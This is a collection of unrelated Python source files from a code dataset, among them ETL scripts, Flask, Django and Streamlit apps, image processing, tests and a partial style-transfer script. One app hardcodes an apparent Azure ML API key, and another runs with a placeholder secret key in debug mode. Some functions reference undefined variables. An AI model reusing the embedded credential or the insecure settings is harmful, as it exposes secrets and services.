imports.append(PracticeGroup(\n project_id=r['project_id'],\n type=r['type'],\n identifier=r['identifier'],\n name=r['name'],\n ))\n\n db.session.add_all(imports)\n db.session.flush()\n\n db.session.commit()\n\n\ndef import_practice_groups_practices():\n db.engine.execute(\"\"\"\n CREATE TABLE IF NOT EXISTS etl_practice_groups_practices (\n practice_group_type VARCHAR(200),\n practice_group_project_id INT,\n practice_group_identifier INT,\n practice_code VARCHAR(255),\n PRIMARY KEY (practice_group_type, practice_group_project_id, practice_group_identifier, practice_code)\n );\n \"\"\")\n\n with etl_import_database() as r_db:\n for r in r_db.execute(practice_groups_practices_table.select()):\n try:\n p = Practice.query.filter_by(code=r['practice_code']).one()\n pg = PracticeGroup.query.filter_by(\n type=r['practice_group_type'],\n project_id=r['practice_group_project_id'],\n identifier=r['practice_group_identifier'],\n ).one()\n\n pg.practices.add(p)\n db.session.add(pg)\n except:\n print(r['practice_group_type'])\n print(r['practice_group_project_id'])\n print(r['practice_group_identifier'])\n\n db.session.commit()\n\n\ndef import_exclusion_reasons():\n db.engine.execute(\"\"\"\n CREATE TABLE IF NOT EXISTS etl_exclusion_reason (\n civicrm_case_id INT PRIMARY KEY,\n details VARCHAR(500)\n );\n \"\"\")\n\n imports = []\n\n with etl_import_database() as r_db:\n for r in r_db.execute(exclusion_reason_table.select()):\n imports.append(ExclusionReason(\n civicrm_case_id=r['civicrm_case_id'],\n details=r['details'],\n ))\n\n db.session.add_all(imports)\n db.session.flush()\n\n db.session.commit()\n\n\n# Load environment variables from '.env' file.\nload_dotenv()\n\napp = create_app()\ncontext = app.app_context()\ncontext.push()\n\nimport_practice_status()\nimport_practice_groups()\nimport_practices()\nimport_recruits()\nimport_recruit_summary()\nimport_delegates()\nimport_practice_groups_practices()\nimport_exclusion_reasons()\n\ncontext.pop()\n","sub_path":"dev_import.py","file_name":"dev_import.py","file_ext":"py","file_size_in_byte":11395,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"441429683","text":"from django.contrib import admin\n\n# Register your models here.\nfrom .models import Registrado\n\nclass AdminRegistrado(admin.ModelAdmin):\n\tlist_display = [\"__str__\", \"nombre\", \"codigo_postal\", \"timestap\", \"actualizado\"]\n\tclass Meta:\n\t\tmodel = Registrado\n\nadmin.site.register(Registrado, AdminRegistrado)\n","sub_path":"boletin/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":302,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"506827358","text":"import json\r\n\r\nfrom flask import Flask, render_template, redirect, url_for, request\r\nfrom flask_wtf import FlaskForm\r\nfrom requests.exceptions import ConnectionError\r\nfrom wtforms import IntegerField, SelectField, StringField\r\nfrom wtforms.validators import DataRequired\r\n\r\nimport urllib.request\r\nimport json\r\n\r\nclass ClientDataForm(FlaskForm):\r\n sulphates = StringField('Sulphates [0.33, 2]', validators=[DataRequired()])\r\n free_sulfur_dioxide = StringField('Free Sulfur Dioxide [1, 72]', validators=[DataRequired()])\r\n total_sulfur_dioxide = StringField('Total Sulfur Dioxide [6, 289]', validators=[DataRequired()])\r\n pH = StringField('pH [2.74, 4.01]', validators=[DataRequired()])\r\n\r\n\r\napp = Flask(__name__)\r\napp.config.update(\r\n CSRF_ENABLED=True,\r\n SECRET_KEY='you-will-never-guess',\r\n)\r\n\r\ndef get_prediction(description, company_profile, benefits):\r\n body = {\"sulphate\": [sulphates],\r\n \"free_sulfur_dioxide\":[free_sulfur_dioxide],\r\n \"total_sulfur_dioxide\": [total_sulfur_dioxide],\r\n \"pH\": [pH]}\r\n\r\n myurl = \"http://0.0.0.0:8180/predict\"\r\n req = urllib.request.Request(myurl)\r\n req.add_header('Content-Type', 'application/json; charset=utf-8')\r\n jsondata = json.dumps(body)\r\n jsondataasbytes = jsondata.encode('utf-8') # needs to be bytes\r\n req.add_header('Content-Length', len(jsondataasbytes))\r\n #print (jsondataasbytes)\r\n response = urllib.request.urlopen(req, jsondataasbytes)\r\n return json.loads(response.read())['predictions']\r\n\r\n@app.route(\"/\")\r\ndef index():\r\n return render_template('index.html')\r\n\r\n\r\n@app.route('/predicted/')\r\ndef predicted(response):\r\n response = json.loads(response)\r\n print(response)\r\n return render_template('predicted.html', response=response)\r\n\r\n\r\n@app.route('/predict_form', methods=['GET', 'POST'])\r\ndef predict_form():\r\n form = ClientDataForm()\r\n data = dict()\r\n if request.method == 'POST':\r\n data['sulphate'] = request.form.get('sulphate')\r\n data['free_sulfur_dioxide'] = request.form.get('free_sulfur_dioxide')\r\n data['total_sulfur_dioxide'] = request.form.get('total_sulfur_dioxide')\r\n data['pH'] = request.form.get('pH')\r\n\r\n\r\n try:\r\n response = str(get_prediction(data['sulphate'],\r\n data['free_sulfur_dioxide'],\r\n data['total_sulfur_dioxide'],\r\n data['pH']))\r\n print(response)\r\n except ConnectionError:\r\n response = json.dumps({\"error\": \"ConnectionError\"})\r\n return redirect(url_for('predicted', response=response))\r\n return render_template('form.html', form=form)\r\n\r\n\r\nif __name__ == '__main__':\r\n app.run(host='0.0.0.0', port=8181, debug=True)","sub_path":"app/front/run_front_server.py","file_name":"run_front_server.py","file_ext":"py","file_size_in_byte":2818,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"525774534","text":"import cv2\nimport numpy as np\nimport csv\nimport glob\nimport os\n\nsumclass=[0,0,0,0,0,0,0,0,0]\nsave_path_pola = \"pola kalung\"\n\n#Mengambil gambar tiap folder kelas\nfor class_image_path in glob.glob(\"D:\\PycharmProjects\\PCDSAPI\\kalung sapi\\*\"):\n print(class_image_path)\n if (class_image_path.split(\"\\\\\")[-1] == 'Kelas 1'): neck_class = 1\n if (class_image_path.split(\"\\\\\")[-1] == 'Kelas 2'): neck_class = 2\n if (class_image_path.split(\"\\\\\")[-1] == 'Kelas 3'): neck_class = 3\n if (class_image_path.split(\"\\\\\")[-1] == 'Kelas 4'): neck_class = 4\n if (class_image_path.split(\"\\\\\")[-1] == 'Kelas 5'): neck_class = 5\n if (class_image_path.split(\"\\\\\")[-1] == 'Kelas 6'): neck_class = 6\n if (class_image_path.split(\"\\\\\")[-1] == 'Kelas 7'): neck_class = 7\n if (class_image_path.split(\"\\\\\")[-1] == 'Kelas 8'): neck_class = 8\n f = True\n class_folder = \"Kelas \"+str(neck_class)\n new_save_path = os.path.join(save_path_pola,class_folder)\n print(\"PATH ==\",new_save_path)\n for image_path in glob.glob(os.path.join(class_image_path, \"*.bmp\")):\n print(image_path)\n # if(neck_class!=7):\n # break\n x=str(neck_class)+\"-class-\"+str(sumclass[neck_class])\n name = x + \"-test.bmp\"\n print(name)\n print(type(name))\n im_gray = cv2.imread(image_path,0)\n thresh = 127\n im_binerr = cv2.threshold(im_gray, thresh, 255, cv2.THRESH_BINARY)[1]\n im_gray = cv2.medianBlur(im_gray,5)\n im_biner = cv2.cvtColor(im_gray, cv2.COLOR_GRAY2BGR)\n\n arr = []\n v = []\n if(neck_class==7):\n houghparam=35\n else:\n houghparam=55\n\n try:\n\n circles = cv2.HoughCircles(im_gray, cv2.HOUGH_GRADIENT, 1, 100, param1=290, param2=houghparam, minRadius=0, maxRadius=0)\n circles = np.uint16(np.around(circles))\n for i in circles[0, :]:\n cv2.circle(im_biner, (i[0], i[1]), i[2], (0, 255, 255), 2)\n cv2.circle(im_biner, (i[0], i[1]), 2, (0, 0, 255), 112)\n\n flag = 1\n row, col, ch = im_biner.shape\n graykanvas = np.zeros((row, col, 1), np.uint8)\n for i in range(0, row):\n for j in range(0, col):\n b, g, r = im_biner[i, j]\n if (b == 255 & g == 0 & r == 0):\n graykanvas.itemset((i, j, 0), 255)\n if (flag == 1):\n x = i\n y = j\n flag = 100\n else:\n graykanvas.itemset((i, j, 0), 0)\n\n im_hasil = cv2.subtract(graykanvas, im_gray)\n\n hasil_crop = im_hasil[x:x + 112, y - 56:y + 56] # im awe [y,x]\n cv2.imshow(\"hasil crop\", hasil_crop)\n thresh = 130\n\n kernel = np.ones((5, 5), np.uint8)\n\n crop_biner = cv2.threshold(hasil_crop, thresh, 255, cv2.THRESH_BINARY)[1]\n\n\n\n cv2.imwrite(os.path.join(new_save_path,name),crop_biner)\n\n row, col= crop_biner.shape\n for r in range(0,row):\n a = 0\n for c in range(0,col):\n if crop_biner[r,c]==255:\n crop_biner[r,c]=1\n a+=crop_biner[r,c]\n v.append(a)\n # print(v)\n # print(r)\n print(len(v))\n print(\"tipe\",type(v))\n print(v)\n v=v/max(v)\n v=[int(round(l)) for l in v]\n\n arr.append(name)\n for d in v:\n arr.append(d)\n arr.append(neck_class)\n print(arr)\n\n\n csvfile = \"datavector.csv\"\n\n with open(csvfile, 'a+',newline='') as output:\n writer = csv.writer(output, lineterminator=',')\n for val in arr[:-1]:\n writer.writerow([val])\n writer = csv.writer(output, lineterminator='\\n')\n writer.writerow([arr[-1]])\n\n sumclass[neck_class]=sumclass[neck_class]+1\n\n except Exception:\n pass\n\n if (sumclass[neck_class]==3):\n break\n","sub_path":"hough.py","file_name":"hough.py","file_ext":"py","file_size_in_byte":4174,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"416554006","text":"from pdcresource import *\nfrom pdcglobal import *\nfrom magic import Spell\n\nclass ColdSpell(Spell):\n def __init__(self):\n Spell.__init__(self)\n self.color = BLUE\n self.type = ST_GENERIC\n \nclass FrostRay(ColdSpell):\n def __init__(self):\n ColdSpell.__init__(self)\n self.phys_cost = 15\n self.mind_cost = 30\n self.name = 'Frost Ray'\n self.infotext = 'Damage Foes with cold'\n\n def cast(self, caster):\n self.caster = caster\n self.game.wait_for_target = self\n self.game.player_actions.cursor()\n def target_choosen(self, pos):\n target = self.get_ray_target(self.caster.pos(), pos)\n if target == None:\n self.game.shout('Your spell fizzles')\n else:\n amount = d(self.caster.mind / 20) + self.caster.mind / 20\n self.game.do_damage(target, amount, D_COLD)\n self.game.shout('%s freezed %s' % (self.caster.name, target.name))\n self.game.wait_for_target = None\n self.game.state = S_RUN","sub_path":"PDC/PDC_5/PDC/src/magic/cold_spells.py","file_name":"cold_spells.py","file_ext":"py","file_size_in_byte":1043,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"399340646","text":"#SEQUENCIA DE FIBONACCI TEM COMO PADRÃO O COMEÇO COM 0, 1\n\n\nprint('-=-=-= GERADOR DE SEQUÊNCIA FIBONACCI -=-=-=')\np1 = int(input('Escolha o primeiro elemento da Sequência de Fibonacci -> '))\nprint('-=' * 20)\n\nsoma = 0\nqtd_elementos = 1\nlistadeelementos = [0, 1]\nc = 4\nsoma2 = (listadeelementos[0]) + (listadeelementos[1])\nlistadeelementos.append(soma2)\n\nwhile c <= p1:\n soma = int(listadeelementos[-1]) + int(listadeelementos[-2])\n listadeelementos.append(soma)\n c += 1\n\nprint('-=-=-=-=-=-= SUA SEQUÊNCIA! -=-=-=-=-=-=')\nprint((listadeelementos), '> Pausa')\nprint('-=' * 20)\nprint('>>SEQUÊNCIA FIBONACCI FINALIZADA!!<<')\n","sub_path":"ProjetosPython/PraticandoPython/P52-SequenciaFibonacciV1.py","file_name":"P52-SequenciaFibonacciV1.py","file_ext":"py","file_size_in_byte":637,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"180215726","text":"import pickle\r\nimport pandas as pd\r\nimport urllib.request\r\nimport json\r\nimport ast\r\nimport streamlit as st\r\nimport plotly.express as px\r\nimport plotly.graph_objects as go\r\n\r\nwith open('framingham_classifier_Logistic_regression_new.pkl', 'rb') as f:\r\n model = pickle.load(f)\r\n\r\n\r\ndef main():\r\n st.title(\" Disease Predictor\")\r\n st.sidebar.header('Patient Details')\r\n age = st.sidebar.number_input(\"Age (years)\", 0, 200, 49)\r\n sysBP = st.sidebar.number_input(\"systolic blood pressure(mmHg)\", 0.0, 500.0, 132.0)\r\n diaBP = st.sidebar.number_input(\"diastolic blood pressure(mmHg)\", 0, 250, 82)\r\n glucose = st.sidebar.number_input(\"glucose level\", 0.0, 1000.0, 81.0)\r\n # diabetes = st.sidebar.number_input('diabetes', 0, 200, 2)\r\n option = st.sidebar.selectbox('Gender', ('Male', 'Female'))\r\n if option == 'Male':\r\n male = 1.0\r\n elif option == 'Female':\r\n male = 0.0\r\n\r\n option2 = st.sidebar.selectbox('Blood Pressure medications', ('Yes', 'No'))\r\n if option2 == 'Yes':\r\n BPMeds = 1.0\r\n elif option2 == 'No':\r\n BPMeds = 0.0\r\n\r\n totChol = st.sidebar.number_input(\"total cholesterol level(mg/dL)\", 0.0, 1000.0, 236.0)\r\n BMI = st.sidebar.number_input(\"BMI(Body Mass Index )\", 0.0, 100.0, 25.0)\r\n option3 = st.sidebar.selectbox('prevalentStroke', ('Yes', 'No'))\r\n if option3 == 'Yes':\r\n prevalentStroke = 1.0\r\n elif option3 == 'No':\r\n prevalentStroke = 0.0\r\n\r\n option4 = st.sidebar.selectbox('prevalentHyp', ('Yes', 'No'))\r\n if option4 == 'Yes':\r\n prevalentHyp = 1.0\r\n elif option4 == 'No':\r\n prevalentHyp = 0.0\r\n\r\n pregnantNo = st.sidebar.number_input(\"pregnant No\", 0, 200, 0)\r\n plasmaGlucoseConc = st.sidebar.number_input(\"Plasma Glucose Concentration\", 0, 500, 120)\r\n tricepsThickness = st.sidebar.number_input(\"Tricep Thickness\", 0, 200, 20)\r\n SerumInsulin = st.sidebar.number_input(\"Serum Insulin\", 0, 20000, 79)\r\n diabPedigreeFunc = st.sidebar.number_input(\"Diabetic Pedigree Function\", 0.001, 100.0, 1.0)\r\n\r\n data1 = {\r\n \"Inputs\": {\r\n \"input1\":\r\n [\r\n {\r\n 'Number of times pregnant': pregnantNo,\r\n 'Plasma glucose concentration a 2 hours in an oral glucose tolerance test': plasmaGlucoseConc,\r\n 'Diastolic blood pressure (mm Hg)': diaBP,\r\n 'Triceps skin fold thickness (mm)': tricepsThickness,\r\n '2-Hour serum insulin (mu U/ml)': SerumInsulin,\r\n 'Body mass index (weight in kg/(height in m)^2)': BMI,\r\n 'Diabetes pedigree function': diabPedigreeFunc,\r\n 'Age (years)': age,\r\n 'Class variable (0 or 1)': \"0\",\r\n }\r\n ],\r\n },\r\n \"GlobalParameters\": {}\r\n }\r\n body = str.encode(json.dumps(data1))\r\n\r\n url = 'https://ussouthcentral.services.azureml.net/workspaces/13c077d4051e4e1088654297b2bbcb04/services/934466005a2243948e5d6b46d9cdec64/execute?api-version=2.0&format=swagger'\r\n api_key = 'u4bfO9QM3gPLQ4nbSXiFNXP/h4B3yO0QE1lQy0/GOSqPwgOTFwAyWr4WXEYKj4tfrvZ/mIvRZpH2b5bn9QxHgg==' # Replace this with the API key for the web service\r\n headers = {'Content-Type': 'application/json', 'Authorization': ('Bearer ' + api_key)}\r\n\r\n req = urllib.request.Request(url, body, headers)\r\n\r\n try:\r\n response = urllib.request.urlopen(req)\r\n result = response.read()\r\n my_json = result.decode('utf8').replace(\"'\", '\"')\r\n data = json.loads(my_json)\r\n s = json.dumps(data, indent=4, sort_keys=True)\r\n FinalData = data[\"Results\"]['output1']\r\n res = str(FinalData)[1:-1]\r\n json_data = ast.literal_eval(res)\r\n FinalOutputAzure = json_data[\"Scored Labels\"]\r\n NewDiabetesColumn = json_data[\"Scored Labels\"]\r\n\r\n except urllib.error.HTTPError as error:\r\n print(\"The request failed with status code: \" + str(error.code))\r\n # Print the headers - they include the requert ID and the timestamp, which are useful for debugging the failure\r\n print(error.info())\r\n print(json.loads(error.read().decode(\"utf8\", 'ignore')))\r\n\r\n input_variables = pd.DataFrame(\r\n [[age, sysBP, diaBP, glucose, NewDiabetesColumn, male, BPMeds, totChol, BMI, prevalentStroke, prevalentHyp]],\r\n columns=['age', 'sysBP', 'diaBP', 'glucose', 'diabetes', 'male', 'BPMeds', 'totChol', 'BMI',\r\n 'prevalentStroke', 'prevalentHyp'],\r\n dtype=float)\r\n result2 = \"\"\r\n\r\n azureresult = int(FinalOutputAzure)\r\n\r\n # if st.sidebar.button(\"Predict\"):\r\n result2 = model.predict(input_variables)[0]\r\n if result2 == 1:\r\n result2 = 'Positive'\r\n elif result2 == 0:\r\n result2 = 'Negative'\r\n\r\n if azureresult == 1:\r\n azureresult = 'Positive'\r\n elif azureresult == 0:\r\n azureresult = 'Negative'\r\n\r\n st.subheader(\"Predicted result for Coronary Heart Diseases in next 10 years:\")\r\n st.success(result2)\r\n\r\n st.subheader(\"Predicted result for diabetes from AzureML\")\r\n st.success(azureresult)\r\n\r\n heart_raw = pd.read_csv('Preprocessed_framingham.csv')\r\n heart_pro = heart_raw.drop(columns=['TenYearCHD'])\r\n df = pd.DataFrame(heart_pro)\r\n\r\n normal_up = [295, 142.5, 394, 696, 56.8, 199, 99, 846, 2.42]\r\n normal_down = [83.5, 48, 40, 107, 15.54, 0, 0,0, 0.078]\r\n current = [sysBP, diaBP, glucose, totChol, BMI, plasmaGlucoseConc, tricepsThickness,\r\n SerumInsulin, diabPedigreeFunc]\r\n\r\n names = ['sysBP', 'diaBP', 'glucose', 'totChol', 'BMI', 'plasmaGlucoseConc',\r\n 'tricepsThickness',\r\n 'SerumInsulin', 'diabPedigreeFunc']\r\n\r\n li = [normal_up, normal_down, current]\r\n chart_data = pd.DataFrame({'Upper Limit': normal_up,\r\n 'Lower Limit': normal_down,\r\n 'Current Position': current})\r\n\r\n st.subheader('')\r\n\r\n fig = go.Figure(data=[\r\n go.Bar(name='Upper Limit', x=names, y=normal_up),\r\n go.Bar(name='Lower Limit', x=names, y=normal_down),\r\n go.Bar(name='Current Position', x=names, y=current)])\r\n fig.update_layout(title={\r\n 'text': \"Range of Safty \",\r\n 'y': 0.9,\r\n 'x': 0.4,\r\n 'xanchor': 'center',\r\n 'yanchor': 'top'}, font=dict(\r\n family=\"Courier New, monospace\",\r\n size=13,\r\n color=\"black\"\r\n ))\r\n st.plotly_chart(fig)\r\n\r\n st.title('Data Distribution')\r\n\r\n df1 = df.head(400)\r\n fig = px.scatter(df1, x=\"totChol\", y=\"age\",\r\n size=\"heartRate\", color=\"glucose\",\r\n hover_name=\"age\", log_x=True, size_max=30)\r\n st.plotly_chart(fig)\r\n\r\n\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n main()\r\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":6826,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"150422191","text":"\"\"\"Payment Calculator - legacy code\n\nAssumes that the customer will make equal repayments for a given number of weeks.\n\nLet p_x = principal at time x,\n r = 1 + weekly interest expressed as fraction (e.g. 5% -> 1.05),\n a = amount to repay each week.\n\nConsider a loan repaid in 3 weekly installments:\np_1 = p_0 * r - a (eq-1)\np_2 = p_1 * r - a (eq-2)\np_3 = p_2 * r - a (eq-3)\np_3 = 0 (eq-4)\n\nsubstituting eq-1 into eq-2,\n\np_2 = (p_0 * r - a)r - a (eq-5)\n\nsubstituting eq-5 into eq-3,\n\np_3 = [(p_0 * r - a)r - a] * r] - a\n\nfrom eq-4,\n\n0 = [(p_0 * r - a)r - a] * r - a\n\n0 = [p_0 * r^2 - a * r -a] * r - a\n\n0 = p_0 * r^3 - a * r^2 -a * r - a\n\n0 = p_0 * r^3 -a * ( 1 + r + r^2)\n\na = p_0 * r^3 / ( 1 + r + r^2)\n\nFor the general case of n installments,\n\na = p_0 * r^n / [1 + r + r^2 + r^3 + ... + r^(n-1)]\n\n\"\"\"\nfrom decimal import Decimal, ROUND_DOWN\n\n\ndef get_weekly_repayment_amount(principal, weekly_interest_rate, duration_in_weeks):\n if duration_in_weeks < 1:\n raise Exception('Invalid input!')\n growth_rate = (Decimal('1.0') + weekly_interest_rate)\n\n denominator = (Decimal('1.0') - pow(growth_rate, duration_in_weeks + 1)) \\\n / (Decimal('1.0') - growth_rate)\n\n numerator = principal * pow(growth_rate, duration_in_weeks)\n\n weekly_repayment = numerator/denominator\n\n return weekly_repayment.quantize(Decimal('.01'), rounding=ROUND_DOWN)\n","sub_path":"presentations/characterisation-testing-in-python/python_code_examples/repayment_calculator/refactoring_example/repayment_calculator_broken.py","file_name":"repayment_calculator_broken.py","file_ext":"py","file_size_in_byte":1408,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"176466838","text":"from django import forms\nfrom devices.models import Manufacturer\n\n\nclass ManufacturerForm(forms.ModelForm):\n name = forms.CharField(widget=forms.TextInput(\n attrs={\n 'id': 'name',\n 'class': 'form-control',\n 'placeholder': 'HP',\n\n }\n ))\n image = forms.FileField(required=False,\n label='Company Logo',\n widget=forms.FileInput(\n attrs={\n 'accept': \"image/*\",\n }))\n\n class Meta:\n model = Manufacturer\n fields = ['name', 'image']\n","sub_path":"devices/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":649,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"433931448","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom __future__ import unicode_literals\nfrom mock import Mock, patch\nfrom datetime import datetime\nimport pytz\n\nfrom django.test import TestCase\n\nimport pytest\n\nimport requests\nfrom requests import ConnectionError, Timeout, RequestException\n\nfrom feeds.models import Feed\nfrom feeds.tasks import update_feed, get_feed_info\n\n\nclass TestUpdateFeed(TestCase):\n value = {\n 'url': 'https://blog.cloudflare.com/rss/',\n 'title': 'CloudFlare',\n 'description': 'CloudFlare',\n 'feed_updated': datetime(2014, 10, 3, 6, 0, 0, tzinfo=pytz.utc)\n }\n\n def test_update_feed_successful(self):\n val = dict(self.value)\n feed = Feed.objects.create(**val)\n val.update({'title': 'CloudFlare Blog'}) # update the title\n update_feed(val['url'], val)\n assert Feed.objects.get(url=val['url']).title == 'CloudFlare Blog'\n\n def test_update_feed_not_exist(self):\n update_feed(self.value['url'], self.value)\n\n def test_update_feed_invalid_form(self):\n val = dict(self.value)\n feed = Feed.objects.create(**val)\n val.update({'title': 'abcdefghijklmnopqrstuvwxyz' * 10})\n update_feed(val['url'], val)\n assert Feed.objects.get(url=val['url']).title == 'CloudFlare'\n\n def test_update_feed_form_clean(self):\n val = dict(self.value)\n val.update({'description': 'abcdefghijklmnopqrstuvwxyz' * 5})\n feed = Feed.objects.create(**val)\n val.update({'description': 'abcdefghijklmnopqrstuvwxyz' * 20})\n update_feed(val['url'], val)\n assert len(Feed.objects.get(url=val['url']).description) == 200\n\n\nclass TestAddNewFeed(TestCase):\n value = {\n 'url': 'https://blog.cloudflare.com/rss/',\n 'title': 'CloudFlare',\n 'description': 'CloudFlare',\n 'feed_updated': str(datetime(2014, 10, 2, 18, 17, 28))\n }\n\n def test_get_feed_info_successful(self):\n resp = Mock()\n resp.status_code = 200\n resp.text = \"\"\"\n\n\n\n\n\n\n\nhttp://blog.cloudflare.com/\nGhost 0.6\nFri, 3 Oct 2014 01:17:28 GMT\n\n60\n\n\n\n\n\nProxying around 5% of the Internet’s requests gives us an interesting vantage point from which to observe malicious behavior. It also make us a target. Aside from the many, varied denial of service attacks that break against our defenses we also see huge number of phishing campaigns. In this
\n]]>\n\n\nhttp://blog.cloudflare.com/of-phishing-attacks-and-wordpress-0days/\n\n685f03c1-34a2-4e55-8b19-877c0211615a\n\n\n\nFri, 3 Oct 2014 01:17:28 GMT\n\n\n\n \"\"\"\n with patch.object(requests, 'get', return_value=resp):\n data, errors = get_feed_info(self.value['url'])\n assert data == self.value\n assert errors == []\n\n def test_get_feed_info_not_supported_err(self):\n resp = Mock()\n resp.status_code = 200\n resp.text = 'test pagemain content'\n with patch.object(requests, 'get', return_value=resp):\n data, errors = get_feed_info(self.value['url'])\n assert data == {}\n assert errors == ['Failed to get this new feed: Unsupported feed format.']\n\n def test_get_feed_info_404_err(self):\n resp = Mock()\n resp.status_code = 404\n with patch.object(requests, 'get', return_value=resp):\n data, errors = get_feed_info(self.value['url'])\n assert data == {}\n assert errors == ['Failed to get this new feed.']\n\n def test_get_feed_info_timeout_err(self):\n with patch.object(requests, 'get', side_effect=Timeout):\n data, errors = get_feed_info(self.value['url'])\n assert data == {}\n assert errors == ['Failed to add this new feed: Timeout. Please try again.']\n\n def test_get_feed_info_connection_err(self):\n with patch.object(requests, 'get', side_effect=ConnectionError):\n data, errors = get_feed_info(self.value['url'])\n assert data == {}\n assert errors == ['Failed to get this new feed.']\n\n\n","sub_path":"tests/test_feeds/test_tasks.py","file_name":"test_tasks.py","file_ext":"py","file_size_in_byte":4804,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"198440922","text":"\"\"\"\n代码链接:https://github.com/ksivaman/Transfer-image-styling\n代码详解链接:https://youyou-tech.com/2019/10/01/%E4%BB%A3%E7%A0%81%E8%AF%A6%E8%A7%A3%EF%BC%9A%E5%9C%A8Pytorch%E5%92%8CPython/\n\"\"\"\n\n\n\"\"\"第一步:涵盖所有必要的库\"\"\"\nfrom PIL import Image\nfrom io import BytesIO\nimport matplotlib\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport time\n\nimport torch\nimport torch.optim as optim\nimport requests\nfrom torchvision import transforms, models\n\n\"\"\"第二步:因为将不会对网络进行训练,在Pytorch中初始化预训练的VGG19模型并冻结所有模型参数,如果NVIDIA GPUs可用,移动模型到cuda。\"\"\"\n\nstrt = time.clock()\n# get the \"features\" portion of VGG19\nvgg = models.vgg19(pretrained=True).features\n\n# freeze VGG params to avoid chanhe\nfor param in vgg.parameters():\n param.requires_grad_(False)\n\ndevice = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\nvgg.to(device)\n\n\ndef load_image(img_path, max_size=400, shape=None):\n ''' Load in and transform an image, making sure the image\n is <= 400 pixels in the x-y dims.'''\n if \"http\" in img_path:\n response = requests.get(img_path)\n image = Image.open(BytesIO(response.content)).convert('RGB')\n else:\n image = Image.open(img_path).convert('RGB')\n \n # large images will slow down processing\n if max(image.size) > max_size:\n size = max_size\n else:\n size = max(image.size)\n \n if shape is not None:\n size = shape\n\n in_transform = transforms.Compose([\n transforms.Resize(size),\n transforms.ToTensor(),\n transforms.Normalize((0.485, 0.456, 0.406), \n (0.229, 0.224, 0.225))])\n\n # discard the transparent, alpha channel (that's the :3) and add the batch dimension\n image = in_transform(image)[:3,:,:].unsqueeze(0)\n return image\n\n# load in content and style image\n# content = load_image('imgs/tanya_deepak.jpg').to(device)\ncontent = load_image(r'F:\\\\PyStyle\\\\Transfer-image-styling\\\\imgs\\\\cat_small.jpg').to(device)\n\n# Resize style to match content, makes code easier\n# style = load_image('imgs/cat_small_abstract.jpg', shape=content.shape[-2:]).to(device)\nstyle = load_image(r'F:\\\\PyStyle\\\\Transfer-image-styling\\imgs\\\\tanya_deepak_the_scream.jpg', shape=content.shape[-2:]).to(device)\n\n\ndef im_convert(tensor):\n \"\"\"\n Display a tensor as an image.\n 将张量转换为图像\n \"\"\"\n \n image = tensor.to(\"cpu\").clone().detach()\n image = image.numpy().squeeze()\n image = image.transpose(1,2,0)\n image = image * np.array((0.229, 0.224, 0.225)) + np.array((0.485, 0.456, 0.406))\n image = image.clip(0, 1)\n\n return image\n\n\n\"\"\"第三步:定义一个函数以从VGG19网络中提取特征。图层字典中的图层名称是PyTorch预培训的VGG19模型中的预定义名称。\"\"\"\ndef get_features(image, model, layers=None):\n \"\"\" Run an image forward through a model and get the features for \n a set of layers. Default layers are for VGGNet matching Gatys et al (2016)\n\n 运行一个图像通过一个模型向前,并得到的特征图层。默认层用于VGGNet匹配Gatys等\n \"\"\"\n \n ## Need the layers for the content and style representations of an image\n if layers is None:\n layers = {'0': 'conv1_1',\n '5': 'conv2_1', \n '10': 'conv3_1', \n '19': 'conv4_1',\n '21': 'conv4_2', ## content representation\n '28': 'conv5_1'}\n \n features = {}\n x = image\n # model._modules is a dictionary holding each module in the model\n for name, layer in model._modules.items():\n x = layer(x)\n if name in layers:\n features[layers[name]] = x\n \n return features\n\n\n\"\"\"第四步:给定特征映射作为张量,定义一个函数来计算gram矩阵。\"\"\"\ndef gram_matrix(tensor):\n\n # 获取张量的 batch_size, depth, height, width\n _, d, h, w = tensor.size()\n \n # reshape so we're multiplying the features for each channel\n tensor = tensor.view(d, h * w)\n \n # calculate the gram matrix\n gram = torch.mm(tensor, tensor.t())\n \n return gram\n\n\"\"\"第五步:获取风格和内容图像的特征,获取风格损失的gram矩阵,将目标图像初始化为风格图像,从5 个gram矩阵的MSE中为损失的线性组合设置风格权重,为两个损失的相对重要性设置内容权重和风格权重(上面的风格损失图像中为“a”),选择用于反向传播的优化器,并设置迭代和修改目标图像的步骤数。\"\"\"\n# get content and style features only once before training\ncontent_features = get_features(content, vgg)\nstyle_features = get_features(style, vgg)\n\n# calculate the gram matrices for each layer of our style representation\nstyle_grams = {layer: gram_matrix(style_features[layer]) for layer in style_features}\n\n# create a third \"target\" image and prep it for change\n# it is a good idea to start of with the target as a copy of our *content* image\n# then iteratively change its style\ntarget = content.clone().requires_grad_(True).to(device)\n\nstyle_weights = {'conv1_1': 1.,\n 'conv2_1': 0.75,\n 'conv3_1': 0.2,\n 'conv4_1': 0.2,\n 'conv5_1': 0.2}\n\ncontent_weight = 1 # alpha\nstyle_weight = 1e6 # beta\n\n# iteration hyperparameters\noptimizer = optim.Adam([target], lr=0.003)\nsteps = 200 # decide how many iterations to update your image (5000)\n\n\n\"\"\"第六步:在保持最小损失的同时,迭代修改目标图像。减少“操作步骤”的次数。\"\"\"\n\nfrom tqdm import tqdm\nfor ii in tqdm(range(1, steps+1)):\n \n # get the features from your target image\n 